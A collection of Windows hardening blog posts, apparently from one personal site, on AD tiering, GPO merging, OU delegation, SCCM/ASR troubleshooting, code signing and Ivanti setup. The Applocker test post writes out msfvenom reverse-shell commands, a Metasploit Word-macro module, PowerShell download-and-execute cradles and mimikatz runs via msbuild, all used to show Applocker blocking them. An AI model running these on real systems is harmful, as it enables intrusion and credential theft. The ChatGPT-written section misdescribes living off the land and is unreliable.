There's a common theme running through many of the security articles on this site. Prevent lateral movement of hackers around the domain searching for escalation points to elevate to Domain Admins. Preventing escalation via cached or actively logged on privileged accounts can be accomplished with segregated tiers between Workstations, Servers and Domain Controllers. Implementing tiers does not prevent exploitation of system vulnerabilities and escalating via an RCE for example. Tier 0 - Domain Admins, CA's, plus any management service running agents on the DC's. Tier 1 - Member Servers. Tier 2 - Workstations. Segregation is achieved with the use of User Rights Assignments (URA) via Group Policy, additional admin accounts and AD groups. The initial concept is easy, don't allow any account access across the boundaries between Workstation, Server or DC. Workstation admin accounts are prevented from logging on to servers and DC's. Server admins or server service accounts are unable to login to a Workstation or DC. Domain Admins never log on to anything but DC's. The theory sounds easy until management agents are installed on DC's. There's the potential for the SCOM or SCCM\MECM admin to fall victim to an attack. The attacker is granted System on the DC's via the agent, despite the admin not being a Domain Admin. I recommend not installing management agents on DC's or CA's. One solution, as this is the real world, install the management applications with an installer account and delegate privileges to the relevant groups and triers, making sure not to cross the streams. Or create an additional tier for management servers with agents deployed to DC's. The downside of tiers is extra accounts. If you're the DA then 3, possibly 4 admin accounts per domain are required. There's no perfect solution or one size fits all, aim to separate the tiers but allow for flex in the solution. The only hard and fast rule is 'never allow any server admin or DA to login to workstations.' Before starting Domain Administrator privileges are required. First create the AD Groups for denying Domain Controller, Server and Workstation logon. Open 'AD Users and Computers' and create the following AD Groups: RA_Domain Controller_DenyLogon RA_Server_DenyLogon RA_Workstation_DenyLogon Create the following accounts: tenaka_wnp (workstation administrator) tenaka_snp (server administrator) tenaka_dnp (domain admin) Going to assume you're happy creating Restrictive Groups in Group Policy and assigning them to OU's. Create the following AD Groups, assigning them to the relevant OU. PR_Workstation_Admins PR_Server_Admins Add tenaka_wnp to PR_Workstation_Admins Add tenaka_snp to PR_Server_Admin Add tenaka_dnp directly to Domain Admins, don't nest groups within Domain Admins. RA_ designates User Rights Assignment. PR_ designates PRivileged account. This is part of a naming convention used within this Domain. Open RA_Workstation_DenyLogon group. Add Domain Admins, all server service accounts and PR_Server_Admin. Create a new GPO for the Workstations OU. Update the following User Rights Assignments with RA_Workstations_DenyLogon. Deny log on as a batch Deny log on as a service Deny log on locally Deny log on through Remote Desktop Services Open the RA_Server_DenyLogon group Add Domain Admins, PR_Workstation_Admin and service accounts not deployed to a server. Svc_scom_mon_ADMP performs synthetic transactions testing the performance of internal websites and DNS lookups. Create a new GPO for the Servers OU Update the following User Rights Assignments with RA_Server_DenyLogon Deny log on as a batch Deny log on as a service Deny log on locally Deny log on through Remote Desktop Services Open the RA_Domain Controller_DenyLogon group. Add PR_Workstation_Admin, PR_Server_Admin and service accounts not used on DC's. Create a new GPO for the Domain Controller container. Update the following User Rights Assignments with RA_Domain Controller_DenyLogon Deny log on as a batch Deny log on as a service Deny log on locally Deny log on through Remote Desktop Services Run gpupdate /force on a workstation, server and domain controller to apply the changes, a restart may be necessary. All that remains is testing. Attempt to login to a workstation with tenaka_wnp, tenaka_snp, tenaka_dnp, the only account that will successfully login is tenaka_wnp. Attempt to logon to the server with tenaka_wnp, tenaka_snp, tenaka_dnp, the only account that will successfully logon is tenaka_snp Attempt to logon to a Domain Controller with tenaka_wnp, tenaka_snp, tenaka_dnp, the only account that will successfully logon is tenaka_dnp

Living off the land is a technique used by attackers to compromise IT systems without using malicious software. Instead, they use legitimate but vulnerable applications and services to gain access to a system and carry out their malicious activities. This approach can be incredibly successful and difficult to detect, as attackers do not have to introduce any malicious files or code into the system. Living off the land entails attackers finding out what programs are running on the target system and then exploiting known vulnerabilities in those applications. The goal is to gain access to the system and use it for malicious purposes, such as stealing data or launching a denial-of-service attack. Attackers can use several methods to gain access to the system, including exploiting vulnerable software, using unsecured services, or taking advantage of weak or default passwords. One of the main advantages of living off the land is that it is difficult to detect. Since the attacker is not introducing any malicious code or files into the system, there are often no tell-tale signs that an attack is taking place. It is only when the attacker’s activities are discovered that the attack can be identified. Organizations should be aware of the risks posed by living off the land attacks. They should perform regular security audits to ensure that their systems are up to date and that all applications and services are properly secured. It is also a good idea to change passwords regularly and to monitor for suspicious activity. In addition, organizations should ensure that they have an incident response plan in place, in case a living off the land attack is detected. Living off the land attacks can be highly effective and difficult to detect, but organizations can take steps to protect themselves from these threats. Living off the land attacks can be prevented by implementing robust security policies, awareness training for all users, monitoring of systems and user activity, and using secure protocols and encryption. Additionally, organizations should regularly review their security posture and make security improvements when needed. This could include regularly patching or updating systems, using application whitelisting, and implementing firewalls and other security measures. Additionally, businesses should keep their data and systems secure by using strong passwords, two-factor authentication, and other authentication protocols. Authored by ChatGPT

I've always wondered if other IT Professionals take their work home??? I don't take work home, I take my hobby to work....There is a serious side to this approach, it allows freedom to explore Microsoft and Linux products without constraints and it provides insights into the tech articles vs reality without the constraints of deliverables. The following describes my main home environment. Hardware: Intel NUC's - i7's with 32Gb RAM, 1Tb SSD and 4TB 2.5" SSD Intel NUC Skull Canyon 32Gb RAM, 1Tb SSD VNAND Dell XPS 15 ASUS Zenbook 580 ASUS Zenbook 490 ASUS Zenbook 301LA Synology Nas 4 Bay 8Tb Usable Synology Nas 1 bay 4Tb Usable (Selective Backup) Zyxel USG60W 4 * Odroids UX4 (2 * load-balanced PI Holes) Raspberry Pi 4 Raspberry Pi Zero * 2 Odroid C4 (RAT) Dual Wifi and RJ45 - Kali Rat Various 1Gb switches HP 476MFD Software: Microsoft Action Pack - £470 per year Linux and Pi distros Main infrastructure, doesn't include vm's that are only spun up for testing: NUC1 (HYP1) DC19-1 DC19-2 SCCM-1 NUC2 (HYP2) OPS-1 MDT-1 DC19-3 The diagram below details the internal DNS setup, there's a method to this madness. The 2 Synology NAS's act as DNS proxies performing all-recursive queries, protecting the DC's from connecting directly to the Internet. The Pi Holes are load balanced and placed between the member servers, clients and DC's, enabling hostname resolution in the PiHole logs. Whilst filtering all the nasties away from the clients and servers. NUC's - The powerful and relatively cheap to run Intel NUC's are host servers. Don't criticise they're Hyper-V, there are benefits, more secure than alternatives....bare with me... don't rage, they receive their patches automatically every month from Microsoft. I specialise in Microsoft OS security and am more confident in securing Windows. Hyper-V finally allows me flexibility with migrating vm's across all the NUC's, Laptops and Skull Canyon. Shares and DFS - NUC1 hosts the main bulk of the user shares with shares for Home, Groups and Media, plus a Software Library going all the way back to Windows NT 4 sp3. The shares are presented to the user with GPO preferences. DFS allows moving the data to a new host without the users (my family) being aware. DC's - Windows 2019 Server makes up the Domain Controllers, each Hyper-V host has a DC. The 3rd DC doesn't run any FSMO roles and it's the first to be replaced with a new OS release. Build a new DC alongside and demote the old. No in-place upgrades help keep the DC's clean. SCCM\MECM - Yes I've deployed an enterprise management solution at home. Yes, it does deploy Windows clients and applications and there is the odd, quite a lot, to be honest, compliance rules. Yes, it can deploy Windows Updates, just doesn't any longer. Until a couple of years ago, my main job was as an SCCM engineer. SCOM - Monitors performance of all servers and various synthetic transactions eg the Internet from client to Google. Custom event rules alert for activities that shouldn't happen across all DC's, servers and clients. MDT - Creating gold images of course.... Backups - 2-way replication exists between the Windows Shares and Synology-1. Android phones automatically upload new photos and videos to the NAS, and then replicated them to the Windows Media share. Equally any new content added to the Windows shares is backed up to the NAS. Synology-2 provides a sort of off-site backup, being away from the main house. Clients - Windows 10 clients run the very latest release and are members of the Domain. I don't allow any non-domain joined Windows on the main network. Android is Ok, not Windows and never the head in the sand crapple. Security - It's extensive, from firewalls to GPO, Applocker, Device Guard, IPSec and role separation with AD. Clearly, I'm not going to give too much away, everything is turned up to level 10. That's a very quick overview of the home network.

How to merge GPO's with PowerShell, this is a little misleading, PowerShell is used to add the logic to LGPO.exe there's worse to follow. The whole process can't be fully automated and requires manual intervention. Yep, that dreaded word...."Manual". However, the following method does work at merging disparate GPO's for Domain deployment. The Issue: As someone who applies Microsoft's Security GPO baselines in a Domain, it's a little messy importing each of the separate GPO's for Windows, Office and Edge etc. Resulting in multiple Computer and User policies being listed in GPO Management, leading to administrator confusion and even a possible performance hit whilst the client applies those multiple GPO's. What is required is a single Computer or User GPO with all the combined settings. You will require: A non Domain joined Windows client or server for merging of the policies, preferably the same as the GPO's being applied. Download LGPO and PolicyAnalyzer and the latest recommended SCM GPO's from (here). A Domain with Domain Admin rights to import the merged policy. To manage Office and Edge GPO's set up a Central Store (here) and install the latest admx files on both the Domain Controller and the standalone. If this step is missed the settings will appear as extra registry settings in GPO Management. The script to merge policies (here). The Prep:: I'm going all in for the demo and merging Windows 11, Office 365 and Edge policies for both User and Computer. This is not recommended as User and Computer policies should be separated. If you do follow this example link the merged GPO on a Computer OU and then apply the Loopback settings, the user policies will then apply at user logon. Enough waffle... create a folder on the standalone client\server, extract and copy all the GPO's to the folder. Copy both the script and LGPO.exe to the root of that folder. The execution: Execute the script with admin rights either via PowerShell or ISE. The script loops through each of the policy directories LGPO to merge both the User and Computer settings, applying them locally. LGPO then exports the local settings to a GPOBackup directory. Ignore the warnings, it's LGPO throwing its teddy out of the pram. A quick validation of the local policies by filtering 'Configured' policies. The Domain Policy: Copy the merged policy from the MergedGPO directory to the Domain Controller or Management client with 'Group Policy Management' feature installed. Create a new Domain Group Policy, don't link to an OU. Right-click on the new GPO and 'Import Settings'. Warning this will overwrite any existing settings, don't mess this step up. Follow the wizard and select the folder where the merged policies reside. Select the GPO to import. Review the settings and link to the correct OU. Warning, linking the Microsoft recommended policies to any Client, Server or DC will likely result in an outage or services becoming unresponsive, so test first and make any necessary changes. It looks pretty easy and it is.... however.... and this is where a little GPO bravery and the manual intervention kicks in. The Manual Steps: After reviewing the setting you'll notice, LGPO has imported all the Security settings including password and account policies. These are set at the Root of the domain and can't be overridden by placing them at a lower level. From Group Policy Management, select the imported GPO and make a note of the 'Unique ID:' Browse to 'C:\Windows\Sysvol\Domain\Policies' Select the matching 'Unique ID'. Navigate to the 'SecEdit' directory. GptTmpl - Security Settings GptTmpl.inf contains most of the security settings, no Firewall or Applocker policies though. Settings within GptTmpl.inf are the setting that most likely requires removing. There are 2 possible solutions depending on the scenario. If for example only User settings are required.... delete GptTmpl.inf If Password or Account policies aren't required open GptTmpl.inf from an elevated Notepad and remove the excess sections. Registry.pol - Administrative Templates Amending User or Machine Registry.pol files from within isn't so easy and recommend using Group Policy Management as the editor. It is possible to delete the Registry.pol files and this is what I've done. Audit.csv - Advanced Audit Settings Lastly, Advanced Audit settings via the audit.csv file, delete this file as well. The Result: The end result is that all Computer settings are removed, leaving only the User settings. The issue with Client Side Extensions: In some instances during the GPO Policy import, no settings are displayed from within GPO Management. This is due to the GPCMachineExtensionName attribute not writing the correct values at import. In this case, update the GPO values, if Security Options or User Rights Assignments aren't displaying, make changes, apply and revert the change. GPO Management will then successfully display the correct values. If the GPCMachineExtensionName attribute is known the following command can be used. Set-ADObject -Identity $getGPOPath -Replace @{gPCMachineExtensionNames="[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]"}

Today is a quick explanation regarding OU delegation using PowerShell with usable examples and how-to located the GUID that identifies the object type being delegated. All the required scripts can be found on my Github (here). Delegated Test Account: For demonstration purposes, the following is executed directly on the Domain Controller and as a Domain Admin. Create a test user named 'SrvOps' and add it to the 'Server Operators', group. This effectively provides Administrator privileges on the DC's without access to AD. Create the following Global Groups, CompDele, UserDele and GroupDele and to the SrvOps user. Greate the following OU's, Computer, User and Group. Shift and Right-click 'Active Directory Users and Computer' and 'Run as a Different User', and enter the SrvOps credentials. Right-click on the Computer OU and you will notice that there's no options to New and select an object type. ADSI Edit and Object GUID: Close the AD snap-in. Back to Domain Admin and launch 'adsiedit.msc'. Select 'Schema' from the 'Select a well known Naming Context:' and OK. Scroll down and select 'CN=Computer' properties. On the 'Attribute Editor' tab scroll down and locate 'schemaIDGUID'. This is the Guid object identity used for delegating Computer objects. It's not possible to copy the value directly and double clicking provides Hex or Binary values which can be copied. The following converts the Hex to the required Guid value. $trim = ("86 7A 96 BF E6 0D D0 11 A2 85 00 AA 00 30 49 E2").replace(" ","") $oct = "$trim" $oct1 = $oct.substring(0,2) $oct2 = $oct.substring(2,2) $oct3 = $oct.substring(4,2) $oct4 = $oct.substring(6,2) $oct5 = $oct.substring(8,2) $oct6 = $oct.substring(10,2) $oct7 = $oct.substring(12,2) $oct8 = $oct.substring(14,2) $oct9 = $oct.substring(16,4) $oct10 = $oct.substring(20,12) $strOut = "$oct4" + "$oct3" + "$oct2" + "$oct1" + "-" + "$oct6" + "$oct5" + "-" + "$oct8" + "$oct7" + "-" + "$oct9" + "-" + "$oct10" write-host $strOut #result = BF967A86-0DE6-11D0-A285-00AA003049E2 The Script: Download the scripts from Github (here) and open with Powershell_ise. Update the DN, the OU path to the Computer OU created earlier. Execute the script and repeat for Users and Groups scripts. Relaunch 'Active Directory Users and Computers' as a different user and enter the SrvOps account credentials. Right-click on each of the OU's and 'New'. You will notice SrvOps can now create objects relative to the name of the OU. Final Considerations: Retrieving the 'schemaIDGUID' from ADSI Edit allows the delegation of pretty much any object type within AD and for the most part a couple of minor tweaks to the scripts provided and your set. Enjoy and if you find this useful please provide some feedback via the homepage's comment box.

I encountered an issue with SCCM\MECM failing to deploy the LAPS application to clients and servers. This was previously working fine but now was failing with a Past Due error in Software Center. The AppEnforce.log produced the only meaningful SCCM error events of 0x87d01106 and 0x80070005. 0x80070005 CMsiHandler::EnforceApp failed (0x80070005). AppProvider::EnforceApp - Failed to invoke EnforceApp on Application handler(0x80070005). CommenceEnforcement failed with error 0x80070005. Method CommenceEnforcement failed with error code 80070005 ++++++ Failed to enforce app. Error 0x80070005. ++++++ CMTrace Error Lookup reported ‘Access denied’ 0x87d01106 Invalid executable file C:\Windows\msiexec.exe CMsiHandler::EnforceApp failed (0x87d01106). AppProvider::EnforceApp - Failed to invoke EnforceApp on Application handler(0x87d01106). CommenceEnforcement failed with error 0x87d01106. Method CommenceEnforcement failed with error code 87D01106 ++++++ Failed to enforce app. Error 0x87d01106. ++++++ CMTrace Error Lookup reported Failed to verify the executable file is valid or to construct the associated command line. Source: Microsoft Endpoint Configuration Manager Interestingly testing revealed that .msi applications, configuration items aka compliance and WDAC policy were affected with .exe deployments remaining unaffected. Executing the install string from the administrator account also worked. Somewhat concerning as SCCM deployments execute as System, the highest privilege possible, yet all application installs failed across the entire domain. At this point, Google is normally your friend..... but the results suggested PowerShell, and the wrong user context, as it's a msi issue, these suggestions were not helpful. Clearly, I'm asking the wrong question...... When in doubt or.... stuck, trawl the eventlogs, the SCCM logs weren't going to give up anything further. Fortunately, in fairly short order the following errors were located in the Windows Defender log. Microsoft Defender Exploit Guard has blocked an operation that is not allowed by your IT administrator. For more information please contact your IT administrator. ID: D1E49AAC-8F56-4280-B9BA-993A6D77406C Detection time: 2023-02-23T21:03:46.265Z User: NT AUTHORITY\SYSTEM Path: C:\Windows\System32\msiexec.exe Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe Target Commandline: "C:\Windows\system32\msiexec.exe" /i "LAPS.x64.msi" /q /qn Parent Commandline: C:\Windows\system32\wbem\wmiprvse.exe -Embedding Involved File: Inheritance Flags: 0x00000000 Security intelligence Version: 1.383.518.0 Engine Version: 1.1.20000.2 Product Version: 4.18.2301.6 Now I know the correct question to ask Google 'D1E49AAC-8F56-4280-B9BA-993A6D77406C', with Attack Surface Reduction (ASR) being the culprit. The following is an extract from the Microsoft page: 'Block process creations originating from PSExec and WMI commands D1E49AAC-8F56-4280-B9BA-993A6D77406C Block process creations originating from PSExec and WMI commands This rule blocks processes created through PsExec and WMI from running. Both PsExec and WMI can remotely execute code. There's a risk of malware abusing the functionality of PsExec and WMI for command and control purposes, or to spread infection throughout an organization's network. Warning Only use this rule if you're managing your devices with Intune or another MDM solution. This rule is incompatible with management through Microsoft Endpoint Configuration Manager because this rule blocks WMI commands the Configuration Manager client uses to function correctly. There is no fix, only a workaround, involving updating the ASR setting Block Mode to Audit Mode in Group Policy. Open GPO Management and locate the ASR rules under Windows Components/Microsoft Defender Antivirus/Microsoft Defender Exploit Guard/Attack Surface Reduction. Open the 'Configure Attack Surface Reduction Rules'. Update value name 'D1E49AAC-8F56-4280-B9BA-993A6D77406C' from 1 to 2. Gpupdate /force to refresh the GPO's on the client, then check the eventlog for 5007 recording the change from Block to Audit Mode. Test an SCCM Application deployment to confirm the fix. One final check of the event log confirming event id 1122 for the deployed application.

This is a supplement to the Applocker vs Malware article that you should read first @ https://www.tenaka.net/applocker-vs-malware I've comprehensively covered Applocker and its 'features' on this site from click-bait prevention with an out-of-the-box configuration to hardening Applocker to protect the protector from being circumvented. The latter's policy is a combination of Publisher, hash, file and folder approvals and denials. Before I start, the following is not recommended, this is for exploratory testing and proof of concept of Applocker's behaviour. Does Applokcer require all those Publisher approvals? Can the system be protected with only file and folder approvals and denies? #Previous - Applocker vs Malware The client is Windows 11 Enterprise x64 with no AV protection and all tests will be executed as the user, unless specified. #The Policy - Approvals Applocker will be configured with the following approval policy: EXEs, MSIs, Scripts and DLLs are configured to approve any file in %ProgramFile% and %WinDir%, similar to the default rules. #The Policy - Denies Protection relies solely on preventing any bypass or escalation of code, denying any directory the user has 'Write' permission for EXEs, MSIs, Scripts and DLLs. The following directory list is dynamic and changes with different installed languages. Download and run my Security Validation script (here) when non-US languages are installed. C:\Windows\System32\LogFiles\WMI C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\Tasks C:\Windows\System32\Tasks\Microsoft\Windows\RemoteApp and Desktop Connections Update C:\Windows\SysWOW64\Tasks C:\Windows\SysWOW64\Tasks\Microsoft\Windows\RemoteApp and Desktop Connections Update C:\Windows\tracing C:\Windows\PLA\Reports C:\Windows\PLA\Reports\en-US C:\Windows\PLA\Rules C:\Windows\PLA\Rules\en-US C:\Windows\PLA\Templates C:\Windows\Registration\CRMLog C:\Windows\servicing\Packages C:\Windows\servicing\Sessions C:\Windows\System32\Com\dmp C:\Windows\System32\spool\drivers\color C:\Windows\System32\spool\PRINTERS C:\Windows\System32\spool\SERVERS C:\Windows\System32\Tasks\Microsoft\Windows\PLA C:\Windows\System32\Tasks\Microsoft\Windows\PLA\System C:\Windows\SysWOW64\Com\dmp C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System C:\Windows\Tasks C:\Windows\Temp C:\Users C:\ProgramData To prevent Living off the Land by Microsofts signed programs I'm following Microsofts recommended deny list (here) as a baseline. I've added a few more to my list as part of an automated Applocker script to protect the system from various attacks (here). The final config should look something like this. #The Rematch Simple, generate reverse shells with MSFVenom and execute whilst trying to bypass Applocker. #EXE Generate an exe with the following command. Password1234msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f exe -o /home/user/Malware/rev1.0.exe Execution is prevented by denying C:\Users\* #HTA Generate a HTML Application Payload (HTA) with the following: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f hta-psh -o /home/user/Malware/rev1.0.hta Execute the following command after downloading the .hta file to the local system. mshta.exe C:\users\user\download\rev1.0.hta Execution is prevented by denying mshta.exe, a signed Microsoft program. #Word Macro The following MSFConsole command generates a reverse shell for Microsoft Word. ​ use exploit/multi/fileformat/office_word_macro set TARGET 0 set lhost 10.0.0.1 set lport 8888 The Word Macro unpacks to an .exe, it's prevented from executing by denying execution within C:\Users\ #Powershell Generate a reverse shell PS1 script with the following command. msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f ps1 -o /home/user/Malware/rev1.0.ps1 Execution is prevented by denying C:\Users\* #Powershell Web Local PowerShell scripts are blocked, what of remote calls that load into memory!! ​ powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1’);Invoke-AllChecks” ​ powershell -ExecutionPolicy Bypass -Command "[scriptblock]::Create((Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1" -UseBasicParsing).Content).Invoke();" Constrained Language mode is still protecting the system. #DLL The following command creates a DLL reverse shell. ​ msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f dll -o /home/user/Malware/rev1.1.dll ​ Download and execute the following commands from the Windows client. ​ copy rev1.1.dll C:\Windows\Temp rundll32.exe C:\Windows\Temp\rev1.1.dll,0 Execution is prevented by denying directories, in this case, C:\Windows\Temp, where the users can 'Write' and would have been an authorised path. #Reverse Shell and MimiKatz as XML The following command generates an XML reverse shell. msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f csharp -o /home/user/Malware/rev1.5.xml cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 Execute the following commands. msbuild.exe C:\users\admin\downloads\mimikatz.xml msbuild.exe C:\users\admin\downloads\rev1.5.xml Execution is prevented by denying msbuild.exe, a signed Microsoft program. #Standing Eight Count Keeping with the boxing analogy for Applocker verses, I hope 'Standing Eight Count' is appropriate. A correctly implemented Applocker policy as described above does prevent various types of malware from execution under the user context. Execution is constrained to authorised named directories, 'Program Files' and 'Windows'. Directories that allow the user to 'Write' deny any type of execution. Is this approach recommended? No, the chances of maintaining the perfect deny policy is slim in the real real-world. Any exception to the deny ruleset leaves the system open to bypassing Applocker without any Publisher rules to fall back on. Finally, I did this to better understand Applocker's behaviour, not as a serious method to implement. It does validate the benefits of configuring a deny policy.

Ever wondered what all those Windows Guids translated to in User Rights Assigments? Follow the link and run the script with Admin permissions. https://github.com/Tenaka/UserRightsAssignmens The script will export the Windows security settings and extract the Privilege Rights. The privilege rights will be translated into their Human readable format.

In this article, I'll describe the process of Code Signing PowerShell scripts from a Microsoft CA. I'll not cover how Code Signing adds security, simply put Code Signing doesn't provide or was intended to provide a robust security layer. However, Code Signing does provide both Authenticity and Integrity: The Authenticity that the script was written or reviewed by a trusted entity and then signed. Integrity ensures that once signed the script hasn't been modified, useful when deploying scripts or executing scripts by a scheduled task with a service account. Bypassing Code Signing requirements is simple, open ISE, paste in the code and F8, instant bypass. However, my development 'Enterprise' system is not standard, ISE won't work as Constrained Language Mode prevents all but core functionality from loading, meaning no API's, .Net, Com and most modules. As a note, even with the script, code signed, ISE is next to useless with Constrained Language Mode enforced. Scripts require both signing and authorising in Applocker\WDAC and will only execute from native PowerShell. Back to it..... This is a typical message when executing a PowerShell script with the system requiring Code Signing. To successfully execute the script, the script must be signed with a digital signature from either a CA or Self Signed certificate. I'm not going to Self Sign, it's filth and I've access to a Microsoft Certificate Authority (CA) as part of the Enterprise. Login to the CA, launch 'Manage' and locate the 'Code Signing' template, then 'Duplicate Template'. Complete the new template with the following settings: General: Name the new certificate template with something meaningful and up the validity to 3 years or to the maximum the corporate policy allows. Compatibility: Update the Compatibility Settings and Certificate Recipient to 'Windows Server 2016' and 'Windows 10/Windows Server 2016' respectively. Request Handling: Check the 'Allow private key to be exported'. Cryptographic: Set 'Minimum key size' to either 1024, 2048, 4096, 8192 or 16,384 Select 'Requests must use one of the following providers:' and check 'Microsoft Enhanced RSA and AES Cryptographic Provider' (description) Security: Ideally, enrolment is controlled via an AD Group with both READ and Enrol permissions. Do not under any circumstances allow WRITE or FULL. Save the new template and then issue by right-clicking on 'Certificate Template' > New and 'Certificate Template to Issue'. From a client and logged on with the account that is a member of the 'CRT_PowerShellCodeSigning' group, launch MMC and add the Certificate snap-in for the Current User. Browse to Personal > Certificates and right-click in the empty space to the right, then click on 'All Tasks' > 'Request New Certificate. Select the 'Toyo Code Signing' template and then click on 'Properties' to add in some additional information. Add a Friendly Name and Description. Enrol the template. Now, right-click on the new 'Code Signing' certificate > All Tasks > Export. Select 'Yes, export the private key'. Ensure the 2 PKCS options are selected. Check the 'Group or username (recommended)' and on the Encryption drop-down select 'AES256-SHA256'. Complete the wizard by exporting the .pfx file The final step is to sign a script with the .pfx file using PowerShell. Set-AuthenticodeSignature -FilePath "C:\Downloads\SecureReport9.4.ps1" -cert "C:\Downloads\CodeSigning.pfx" Open the newly signed script and at the bottom of the script is the digital signature. Launch PowerShell.exe and run the script. For those with Applocker\WDAC then the script requires adding to the allow list by file hash. Now I'll be able to execute my own Pentest script on my allegedly secure system and locate any missing settings..... As always thanks for your support.

Ivanti's Endpoint Protection's Application Control: Ivanti Endpoint Protection is a comprehensive security solution that provides organizations with a comprehensive set of security tools designed to protect their endpoints, networks, and data. It is designed to protect users from the latest threats, such as malware, ransomware, and phishing attacks. It also provides advanced capabilities, such as patch management, application control, and user privilege management. With Ivanti Endpoint Protection, organizations can ensure their endpoints are secure and protected from the latest threats. This article focuses on the initial setup of Ivanti Endpoint Manager and Endpoint Security Application Control, agent deployment and policy. This will provide the bases for the next round of 'verses' articles having thoroughly abused Windows Applocker, WDAC and GPO. The following has been extracted from the Ivanti Endpoint Protection user guide downloadable from (here). Ivanti® Endpoint Manager and Endpoint Security for Endpoint Manager consists of a wide variety of powerful and easy-to-use tools you can use to help manage and protect your Windows, Macintosh, mobile, Linux, and UNIX devices. Endpoint Manager and Security tools are proven to increase end user and IT administrator productivity and efficiencyLANDesk Application control offers the following system-level security: Kernel-level, rule-based file-system protection Registry Protection Startup Control Detection of stealth rootkits Network filtering Process and file/application certification File protection rules that restrict actions that executable programs can perform on specified files The initial Ivanti setup focus's on Ivanti Endpoint Protection's (EP) Application Control to compare and pit against Microsoft's Applocker and WDAC. Ivanti's EP Firewall, Device Control and AV policies won't be configured, although it is capable of providing a full management suite of protections from within a single console. The focus is Ivant EP vs Microsoft's application control, the paid 3rd part tools versus the free inbuilt tools. Ivanti Download: The good news, Ivanti provides 45 day, fully featured trial software, allowing plenty of time for EP to be put through its paces. The bad news, the trial software is not current, the download is for the 2020.1 version and not the latest 2022.2 or higher. A little sub-optimal considering it's for endpoint protection and security. Links to access Ivanti Endpoint Manager 2020.1: 45 day trial sign-up (here). Installation guide (here), Domain with a SQL server is required. Exclaimers: After following the installation guide, Ivanti will require a fair amount of fettling to deploy Application Control in enforcement mode. Remember, it's only for application execution to provide a direct comparison to Applocker and WDAC and a baseline reference for EP configuration. I'm not an Ivanti expert, I've spent a day installing and learning Ivanti. It's expected that the lack of experience with this product results in some ambiguity, I'm not interested in the journey but the net result of trying to exploit Windows with Ivanti Endpoint Protection enabled. Initial Login: Let's get to it...... From the Start Menu launch 'Ivanti Management Console', and enter the account details used during setup. Add LDAP Configuration: To integrate AD, providing search and deployment of policy, agent and software: Click on 'Configuration' in the lower left pane. Right-click on 'Directory' and 'Manage Directory...' 'Add', follow the wizard to include the domain structure using the Domain Admin account. Initial Agent Audit Policy: Initially, the endpoint and its software is unknown and an agent is required to be deployed. Click 'Configuration' in the bottom left windows and then select 'Agent Configuration', then the top left. In the 'Agent Configuration' window, bottom right, right-click and select 'New Windows agent configuration'. Update the 'Agent Configuration': Update 'Configuration Name' with something meaningful. Check the 'Endpoint Security option. Browse and then select 'Endpoint Protection' under 'Distribute and Patch' and then 'Security and Compliance'. Click 'Configure'. Within 'Endpoint Security' check 'Application Control:' and then click on '....' to configure the Application Control policy. Select 'Advanced' under 'Application Protection' and click on 'Learning'. With the initial policy when Ivanti is 'Learning' there is no reason to tempt fate by locking ourselves out of the client. Select 'Learning' for 'Whitelisting'. Save the changes and close both the 'Application Control' and 'Agent Configuration wizards. Agent Deployment: The agent and EP policy has been created and requires deploying to a client. Ivanti Management is fully featured and comes with LANDesk. For those that aren't familiar it's on par with SCCM\MECM. Here's a guide to assist in deploying the Ivanti agent (here). For expedience, I've opted for manual agent deployment. Right-click on the new agent and select 'Advance Agent'. Copy the URL and log on to the Windows 10 or 11 client. Download the .exe and install. Both Windows Defender and SmartScreen GPO's required updating to allow the Ivanti agent to install. Once the agent's installed, launch 'Ivanti Endpoint Security' from the Start Menu for a quick review. Excellent, Application Control and Whitelist learning policies are in effect. In preparation for blocking mode, launch installed applications on the client and run through some user activity. This activity is audited and logged to the Ivanti server for approval. It's time for a long coffee break, the file activity can take a little while to report back to the Ivanti server console. The initial audit results will take a few hours, a full audit will take overnight. Audited Files: With the agent installed the 'Win10-01' client becomes available to manage by right-clicking. Top tip, from Diagnostics its possible to see Ivant client and core logs. To view the audited files select 'Security and Patch' then 'Application Information'. As this is a new installation of Ivanti Endpoint Protection the audited files are classed as 'undecided'. It's not as simple as clicking and then approving the files, this can only be accomplished by updating the 'Agent Configuration' settings. Endpoint Security Policy - Blocking Mode: The agent has been deployed in learning mode, enabling file data collection to be available in the console. At this point, those files require authorising and blocking mode enabling. The easiest method of updating the client from learning to blocking was to update the agent and not just the Endpoint Security policy, having failed repeated attempts. Right-click the 'Agent Deployment - Initial Config', Copy and then Paste, maintaining the original agent settings. Rename the agent configuration to reflect its purpose, 'Agent Deployment - Windows Client Blocking'. Right-click the new agent config, 'Properties'. Navigate to 'Endpoint Security' via 'Distribution and Patch' and then 'Security and Compliance'. Click 'Configure...' and in the 'Configure endpoint security setting' click 'New'. Add a meaningful name to the 'Endpoint Security' wizard. Click on 'Default Policy' and select ... next to the 'Application control' dropdown. Click on 'New...' On the 'General Settings' update the name. Click on 'Application Protection' and check the following: Enable application behaviour protections Prevent master boot record (MBR) encryption Auto detect and blacklist crypto-ransomware Under 'File protection rules' select all the options, not all these options may be suitable for an enterprise, and some trial and error may be required. Under 'Application Protection' click on 'Advanced' and 'Blocking', and remove any checks for 'Learning mode ...' Under 'Whitelisting' check all options and 'Configure' and select all the script options. Scripts will require authorising to work. Again on the 'Advanced' page select 'Blocking' and uncheck 'Learning mode ...' save the changes. Highlight the new policy and then 'Use Selected'. Enable Microsoft * as a trusted signer, under 'Digital Signatures'. As Ivanti is authorising files by hash it seems prudent to trust and thus allow all Microsoft files. Ivanti operates at the kernel level, any file not authorised will be denied including system files, it's reasonable to expect blue bends 